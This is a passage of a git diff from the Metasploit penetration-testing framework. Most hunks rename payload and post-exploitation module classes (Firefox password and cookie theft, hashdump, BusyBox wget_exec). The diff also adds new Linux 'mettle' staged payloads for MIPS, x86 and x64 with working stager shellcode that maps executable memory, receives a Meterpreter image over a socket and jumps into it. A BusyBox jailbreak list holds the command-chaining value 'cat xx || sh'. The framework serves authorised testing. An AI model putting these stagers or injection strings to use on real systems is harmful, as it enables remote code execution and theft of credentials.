'Inject the mettle server payload (staged)', + 'Author' => [ + 'Adam Cammack ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux + ) + ) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + entry_h = entry_offset >> 16 + entry_l = entry_offset & 0x0000ffff + + size = payload.length + size_h = size >> 16 + size_l = size & 0x0000ffff + + midstager = [ + 0x00002021, # move a0,zero + (0x3c05 << 16) | size_h, # lu a1,SIZE[31:16] + (0x34a5 << 16) | size_l, # ori a1,a1,SIZE[15:0] + 0x24060007, # li a2,7 + 0x24070802, # li a3,34 + 0xafa00010, # sw zero,16(sp) + 0xafa00014, # sw zero,20(sp) + 0x24020ffa, # li v0,4090 + 0x0000000c, # syscall + 0x00a03021, # move a2,a1 + 0x00402821, # move a1,v0 + 0x02402021, # move a0,s2 + 0x24070100, # li a3,256 + 0x2402104f, # li v0,4175 + 0x0000000c, # syscall + 0x2401fff8, # li at,-8 + 0x03a1e824, # and sp,sp,at + 0x3c0c6d00, # lui t4,0x6d00 + 0x358c006d, # ori t4,t4,0x6d + 0xafac002c, # sw t4,44(sp) + 0x240d0002, # li t5,2 + 0xafad0000, # sw t5,0(sp) + 0x23ae002c, # addi t6,sp,44 + 0xafae0004, # sw t6,4(sp) + 0xafb20008, # sw s2,8(sp) + 0xafa0000c, # sw zero,12(sp) + 0xafa00010, # sw zero,16(sp) + 0x240f0007, # li t7,7 + 0xafaf0014, # sw t7,20(sp) + 0xafa50018, # sw a1,24(sp) + 0x24180006, # li t8,6 + 0xafb8001c, # sw t8,28(sp) + 0x24191000, # li t9,4096 + 0xafb90020, # sw t9,32(sp) + 0xafa00024, # sw zero,36(sp) + 0xafa00028, # sw zero,40(sp) + (0x3c10 << 16) | entry_h, # lui s0,ENTRY[31:16] + (0x3610 << 16) | entry_l, # ori s0,s0,ENTRY[15:0] + 0x02058020, # add s0,s0,a1 + 0x02000008, # jr s0 + 0 + ].pack('N*') + + vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length + end + + def generate_stage(_opts = {}) + MetasploitPayloads::Mettle.read('mips-linux-muslsf', 'mettle.bin') + end +end diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb index d6063cdc24..77207e50e1 100644 --- a/modules/payloads/stages/linux/mipsbe/shell.rb +++ b/modules/payloads/stages/linux/mipsbe/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/linux/mipsle/mettle.rb b/modules/payloads/stages/linux/mipsle/mettle.rb new file mode 100644 index 0000000000..d49c92016e --- /dev/null +++ b/modules/payloads/stages/linux/mipsle/mettle.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_mipsle_linux' +require 'msf/base/sessions/meterpreter_options' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'Adam Cammack ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux + ) + ) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + entry_h = entry_offset >> 16 + entry_l = entry_offset & 0x0000ffff + + size = payload.length + size_h = size >> 16 + size_l = size & 0x0000ffff + + midstager = [ + 0x00002021, # move a0,zero + (0x3c05 << 16) | size_h, # lu a1,SIZE[31:16] + (0x34a5 << 16) | size_l, # ori a1,a1,SIZE[15:0] + 0x24060007, # li a2,7 + 0x24070802, # li a3,34 + 0xafa00010, # sw zero,16(sp) + 0xafa00014, # sw zero,20(sp) + 0x24020ffa, # li v0,4090 + 0x0000000c, # syscall + 0x00a03021, # move a2,a1 + 0x00402821, # move a1,v0 + 0x02402021, # move a0,s2 + 0x24070100, # li a3,256 + 0x2402104f, # li v0,4175 + 0x0000000c, # syscall + 0x2401fff8, # li at,-8 + 0x03a1e824, # and sp,sp,at + 0x3c0c6d00, # lui t4,0x6d00 + 0x358c006d, # ori t4,t4,0x6d + 0xafac002c, # sw t4,44(sp) + 0x240d0002, # li t5,2 + 0xafad0000, # sw t5,0(sp) + 0x23ae002c, # addi t6,sp,44 + 0xafae0004, # sw t6,4(sp) + 0xafb20008, # sw s2,8(sp) + 0xafa0000c, # sw zero,12(sp) + 0xafa00010, # sw zero,16(sp) + 0x240f0007, # li t7,7 + 0xafaf0014, # sw t7,20(sp) + 0xafa50018, # sw a1,24(sp) + 0x24180006, # li t8,6 + 0xafb8001c, # sw t8,28(sp) + 0x24191000, # li t9,4096 + 0xafb90020, # sw t9,32(sp) + 0xafa00024, # sw zero,36(sp) + 0xafa00028, # sw zero,40(sp) + (0x3c10 << 16) | entry_h, # lui s0,ENTRY[31:16] + (0x3610 << 16) | entry_l, # ori s0,s0,ENTRY[15:0] + 0x02058020, # add s0,s0,a1 + 0x02000008, # jr s0 + 0 + ].pack('V*') + + vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length + end + + def generate_stage(_opts = {}) + MetasploitPayloads::Mettle.read('mipsel-linux-muslsf', 'mettle.bin') + end +end diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb index c74c633f36..b81b1c1848 100644 --- a/modules/payloads/stages/linux/mipsle/shell.rb +++ b/modules/payloads/stages/linux/mipsle/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/linux/x64/mettle.rb b/modules/payloads/stages/linux/x64/mettle.rb new file mode 100644 index 0000000000..e5f78d9aee --- /dev/null +++ b/modules/payloads/stages/linux/x64/mettle.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_x64_mettle_linux' +require 'msf/base/sessions/meterpreter_options' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Mettle x64', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'Brent Cook ' + ], + 'Platform' => 'Linux', + 'Arch' => ARCH_X86_64, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux + ) + ) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + + midstager_asm = %( + push rdi ; save sockfd + xor rdi, rdi ; address + mov rsi, #{payload.length} ; length + mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE + mov r10, 0x22 ; MAP_PRIVATE | MAP_ANONYMOUS + xor r8, r8 ; fd + xor r9, r9 ; offset + mov rax, 0x9 ; mmap + syscall + + ; receive mettle process image + mov rdx, rsi ; length + mov rsi, rax ; address + pop rdi ; sockfd + mov r10, 0x100 ; MSG_WAITALL + xor r8, r8 ; srcaddr + xor r9, r9 ; addrlen + mov rax, 45 ; recvfrom + syscall + + ; setup stack + and rsp, -0x10 ; Align + add sp, 80 ; Add room for initial stack and prog name + mov rax, 109 ; prog name "m" + push rax ; + mov rcx, rsp ; save the stack + xor rbx, rbx + push rbx ; NULL + push rbx ; AT_NULL + push rsi ; mmap'd address + mov rax, 7 ; AT_BASE + push rax + push rbx ; end of ENV + push rbx ; NULL + push rdi ; ARGV[1] int sockfd + push rcx ; ARGV[0] char *prog_name + mov rax, 2 ; ARGC + push rax + + ; down the rabbit hole + mov rax, #{entry_offset} + add rsi, rax + jmp rsi + ) + + midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string + vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length + end + + def generate_stage(_opts = {}) + MetasploitPayloads::Mettle.read('x86_64-linux-musl', 'mettle.bin') + end +end diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index caf23a4953..288128f864 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 6b1a2c0e67..ac4534dfe1 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -8,7 +8,7 @@ require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' require 'rex/elfparsey' -module Metasploit3 +module MetasploitModule include Msf::Sessions::MeterpreterOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/x86/mettle.rb b/modules/payloads/stages/linux/x86/mettle.rb new file mode 100644 index 0000000000..2b70f7892c --- /dev/null +++ b/modules/payloads/stages/linux/x86/mettle.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_x86_mettle_linux' +require 'msf/base/sessions/meterpreter_options' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Mettle x86', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'William Webb ' + ], + 'Platform' => 'Linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux + ) + ) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + + midstager_asm = %( + push ebx ; save sockfd + xor ebx, ebx ; address + mov ecx, #{payload.length} ; length + mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE + mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS + xor edi, edi ; fd + xor ebp, ebp ; pgoffset + mov eax, 192 ; mmap2 + int 0x80 ; syscall + + ; receive mettle process image + mov edx, eax ; save buf addr for next code block + pop ebx ; sockfd + push 0x00000100 ; MSG_WAITALL + push #{payload.length} ; size + push eax ; buf + push ebx ; sockfd + mov ecx, esp ; arg array + mov ebx, 10 ; SYS_READ + mov eax, 102 ; sys_socketcall + int 0x80 ; syscall + + ; setup stack + pop edi + xor ebx, ebx + and esp, 0xfffffff0 ; align esp + add esp, 40 + mov eax, 109 + push eax + mov esi, esp + push ebx ; NULL + push ebx ; AT_NULL + push edx ; mmap buffer + mov eax, 7 + push eax ; AT_BASE + push ebx ; end of ENV + push ebx ; NULL + push edi ; sockfd + push esi ; m + mov eax, 2 + push eax ; argc + + ; down the rabbit hole + mov eax, #{entry_offset} + add edx, eax + jmp edx + ) + + midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string + vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length + end + + def generate_stage(_opts = {}) + MetasploitPayloads::Mettle.read('i486-linux-musl', 'mettle.bin') + end +end diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 691d5e1fbc..e24fbdbaf7 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/netware/shell.rb b/modules/payloads/stages/netware/shell.rb index 7f7dab8e47..7b89646c4b 100644 --- a/modules/payloads/stages/netware/shell.rb +++ b/modules/payloads/stages/netware/shell.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 3e9bb5a785..61763bd6dc 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/osx/armle/shell.rb b/modules/payloads/stages/osx/armle/shell.rb index f356a820a8..93b7538385 100644 --- a/modules/payloads/stages/osx/armle/shell.rb +++ b/modules/payloads/stages/osx/armle/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/osx/ppc/shell.rb b/modules/payloads/stages/osx/ppc/shell.rb index 2d0b8d7457..56711ae784 100644 --- a/modules/payloads/stages/osx/ppc/shell.rb +++ b/modules/payloads/stages/osx/ppc/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb index cda4f9f07a..33efebef0a 100644 --- a/modules/payloads/stages/osx/x64/dupandexecve.rb +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb b/modules/payloads/stages/osx/x86/bundleinject.rb index 3204ba2a67..4a5650a2ea 100644 --- a/modules/payloads/stages/osx/x86/bundleinject.rb +++ b/modules/payloads/stages/osx/x86/bundleinject.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/osx/bundleinject' # Injects an arbitrary DLL in the exploited process. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Osx::BundleInject diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb index 4b4a7d57a4..2c926ad6a9 100644 --- a/modules/payloads/stages/osx/x86/isight.rb +++ b/modules/payloads/stages/osx/x86/isight.rb @@ -16,7 +16,7 @@ require 'msf/base/sessions/command_shell_options' # Injects the VNC server DLL and runs it over the established connection. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Osx::BundleInject include Msf::Sessions::CommandShellOptions @@ -80,7 +80,7 @@ module Metasploit3 print_status("Photo saved as #{dest}") - if (datastore['AUTOVIEW'] == true) + if datastore['AUTOVIEW'] print_status("Opening photo in a web browser...") Rex::Compat.open_browser(File.expand_path(dest)) end diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb index bd6acff024..5dc5b6a4fd 100644 --- a/modules/payloads/stages/osx/x86/vforkshell.rb +++ b/modules/payloads/stages/osx/x86/vforkshell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 90629b2715..4be5f679e3 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' -module Metasploit4 +module MetasploitModule include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 3c668327b5..6945059910 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/meterpreter_loader' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' -module Metasploit4 +module MetasploitModule include Msf::Payload::Python::MeterpreterLoader diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index a14584d726..2c6a5adc72 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/windows/reflectivedllinject' # Injects an arbitrary DLL in the exploited process via a reflective loader. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows::ReflectiveDllInject diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 2363cb9a45..7d2c7a4fdc 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -17,7 +17,7 @@ require 'rex/payloads/meterpreter/config' # ### -module Metasploit4 +module MetasploitModule include Msf::Payload::Windows::MeterpreterLoader include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stages/windows/patchupdllinject.rb b/modules/payloads/stages/windows/patchupdllinject.rb index a96ae18956..9228ccd055 100644 --- a/modules/payloads/stages/windows/patchupdllinject.rb +++ b/modules/payloads/stages/windows/patchupdllinject.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/dllinject' # Injects an arbitrary DLL in the exploited process. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows::DllInject diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index fc66ab5998..3a61de9590 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -14,7 +14,7 @@ require 'msf/base/sessions/meterpreter_options' # Injects the meterpreter server instance DLL via the DLL injection payload. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows::DllInject include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index 80f95c50f6..4a5f9e9b93 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb index 1d833ed93a..8d71bd79f7 100644 --- a/modules/payloads/stages/windows/upexec.rb +++ b/modules/payloads/stages/windows/upexec.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/windows/vncinject.rb b/modules/payloads/stages/windows/vncinject.rb index 5f78fd44ac..3683471406 100644 --- a/modules/payloads/stages/windows/vncinject.rb +++ b/modules/payloads/stages/windows/vncinject.rb @@ -15,7 +15,7 @@ require 'msf/base/sessions/vncinject_options' # Injects the VNC server DLL (via Reflective Dll Injection) and runs it over the established connection. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows::ReflectiveDllInject include Msf::Sessions::VncInjectOptions diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 690d4aac11..93127b2728 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -17,7 +17,7 @@ require 'rex/payloads/meterpreter/config' # ### -module Metasploit4 +module MetasploitModule include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stages/windows/x64/shell.rb b/modules/payloads/stages/windows/x64/shell.rb index 4e511bd5ff..043f12be1a 100644 --- a/modules/payloads/stages/windows/x64/shell.rb +++ b/modules/payloads/stages/windows/x64/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/windows/x64/vncinject.rb b/modules/payloads/stages/windows/x64/vncinject.rb index 8490da03e2..0b9ef245f4 100644 --- a/modules/payloads/stages/windows/x64/vncinject.rb +++ b/modules/payloads/stages/windows/x64/vncinject.rb @@ -13,7 +13,7 @@ require 'msf/base/sessions/vncinject_options' # Injects the VNC server DLL (via Reflective Dll Injection) and runs it over the established connection. # ### -module Metasploit3 +module MetasploitModule include Msf::Payload::Windows::ReflectiveDllInject_x64 include Msf::Sessions::VncInjectOptions diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index dd9de9fc96..fa87300d18 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/android/capture/screen.rb b/modules/post/android/capture/screen.rb index 678d228d01..fd59559c57 100644 --- a/modules/post/android/capture/screen.rb +++ b/modules/post/android/capture/screen.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 2c21b86270..84087c6e21 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post Rank = NormalRanking include Msf::Post::Common diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb index 1a71658619..0ae5eebf89 100644 --- a/modules/post/android/manage/remove_lock_root.rb +++ b/modules/post/android/manage/remove_lock_root.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Common include Msf::Post::Android::Priv diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index 515c7b8595..96045defac 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/cisco' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Cisco def initialize(info={}) super( update_info( info, @@ -116,7 +116,7 @@ class Metasploit3 < Msf::Post end else if pass_file - if not ::File.exists?(pass_file) + if not ::File.exist?(pass_file) print_error("Wordlist File #{pass_file} does not exists!") return end diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb index 4fc5f6cc6e..759e70c05f 100644 --- a/modules/post/firefox/gather/cookies.rb +++ b/modules/post/firefox/gather/cookies.rb @@ -6,7 +6,7 @@ require 'json' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Exploit::Remote::FirefoxPrivilegeEscalation diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb index 932105e952..f35e4e02c8 100644 --- a/modules/post/firefox/gather/history.rb +++ b/modules/post/firefox/gather/history.rb @@ -6,7 +6,7 @@ require 'json' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Exploit::Remote::FirefoxPrivilegeEscalation diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb index 0009613d36..714b3f5a29 100644 --- a/modules/post/firefox/gather/passwords.rb +++ b/modules/post/firefox/gather/passwords.rb @@ -7,7 +7,7 @@ require 'json' require 'msf/core' require 'msf/core/payload/firefox' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Payload::Firefox include Msf::Exploit::Remote::FirefoxPrivilegeEscalation diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index dbe1b8a48c..978f57a9d9 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'json' require 'msf/core/payload/firefox' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Payload::Firefox include Msf::Exploit::Remote::FirefoxPrivilegeEscalation diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb index 5e568c8584..ff87056b00 100644 --- a/modules/post/firefox/manage/webcam_chat.rb +++ b/modules/post/firefox/manage/webcam_chat.rb @@ -6,7 +6,7 @@ require 'json' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Exploit::Remote::FirefoxPrivilegeEscalation include Msf::Post::WebRTC diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 473c55c7de..47b2ca2e29 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::BusyBox diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index 996a6f377f..0d63021bf6 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::BusyBox diff --git a/modules/post/linux/busybox/jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb index 9db686e65a..71b1d87852 100644 --- a/modules/post/linux/busybox/jailbreak.rb +++ b/modules/post/linux/busybox/jailbreak.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post METHODS = [ 'cat xx || sh', diff --git a/modules/post/linux/busybox/ping_net.rb b/modules/post/linux/busybox/ping_net.rb index 4e1191304b..84c1d280c2 100644 --- a/modules/post/linux/busybox/ping_net.rb +++ b/modules/post/linux/busybox/ping_net.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/busybox/set_dmz.rb b/modules/post/linux/busybox/set_dmz.rb index a2d109cd6b..ee86fec3ee 100644 --- a/modules/post/linux/busybox/set_dmz.rb +++ b/modules/post/linux/busybox/set_dmz.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize super( diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index 7732059d03..274b253750 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::BusyBox diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index f89e57e6c1..4570a66659 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::BusyBox diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index 38e90216a0..7a55694dc4 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::BusyBox diff --git a/modules/post/linux/dos/xen_420_dos.rb b/modules/post/linux/dos/xen_420_dos.rb new file mode 100644 index 0000000000..bbf97f7c81 --- /dev/null +++ b/modules/post/linux/dos/xen_420_dos.rb @@ -0,0 +1,278 @@ +## +# 